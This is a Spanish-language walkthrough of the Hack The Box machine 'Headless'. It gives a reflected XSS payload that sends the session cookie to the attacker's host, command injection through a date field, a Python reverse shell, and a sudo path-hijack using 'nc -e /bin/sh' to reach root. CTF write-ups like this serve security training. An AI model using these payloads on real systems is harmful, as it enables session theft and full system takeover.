WriteUp Headless - Hack the box
Fase de reconocimiento
1
sudo nmap -Pn -sV -n 10.10.11.8 -vvv -oN nmap.result.ports
como se aprecia en la imagen tenemos abierto el puerto 22 y puerto 5000 si analizamos la página web veremos que es una página que está en construcción. Existe un botón el cual nos envía a un formulario para poder contactarse con soporte.
al analizar el formulario y hacer pruebas en burpsuite, nos damos cuenta de que la página es vulnerable a XSS reflected.
interceptaremos con burpsuite las peticiones e intentaremos robar la cookie de sesión con el siguiente código en javascript
Primero debemos levantar un servidor web en python para poder recibir el valor de la cookie
1
python3 -m http.server 80
El siguiente código lo pondremos en header user-agent y en el campo del formulario message
1
<script>fetch("http://10.10.14.28/?cookie="+document.cookie)</script>
tenemos que ingresar nuestro payload xss en el user-agent y en el body, como se muestra en a siguiente imagen y esperar a que el mensaje enviado a soporte sea leído, debe haber una tarea programada que revisa cada cierto tiempo los mensajes enviados hacia el servidor.
Como se aprecia en la imagen en nuestro servidor python levantado locamente recibimos la cookie ahora tenemos que editar nuestra cookie con el valor de la cookie robada, en la fase de reconocimientos nos habíamos encontrado la ruta /dashboard, si vamos a esta ruta con nuestra nueva cookie veremos lo siguiente
en esta página podemos enviar una fecha, también podemos concatenar un comando por ejemplo el comando id:
1
date=2023-09-15;id
como se puede apreciar obtenemos respuesta del comando id, ahora vamos a utilizar python para enviarnos una shell reversa nuestra ip en el puerto 1234
1
date=2023-09-15;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.28",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
y obtenemos acceso al sistema con el usuario “dvir” y podemos ver la flag
Elevación de privilegios
si usamos el comando sudo -l para ver que programas podemos listar los privilegios y comandos que un usuario tiene permitidos ejecutar con privilegios elevados (sudo) podemos ver que podemos ejecutar un binario que está en la ruta /usr/bin/syscheck
al observar el script podemos ver que se ejecuta un script llamado ./initdb.sh como se ejecuta en una ruta absoluta, crearemos un archivo con el mismo nombre initdb.sh y agregaremos una llamada de netcat hacia nuestra IP de la siguiente forma y le daremos permisos de ejecución al script.
1
2
echo "nc -e /bin/sh 10.10.14.28 4444" > initdb.sh
chmod +x initdb.sh
al ejecutar el /usr/bin/syscheck como super ussuario (sudo), el user root aplicara la llamada hacia nuestra maquina atacante y obtenemos una shell reversa, de esta forma hemos elevado nuestro privilegio y ahora somos el usuario root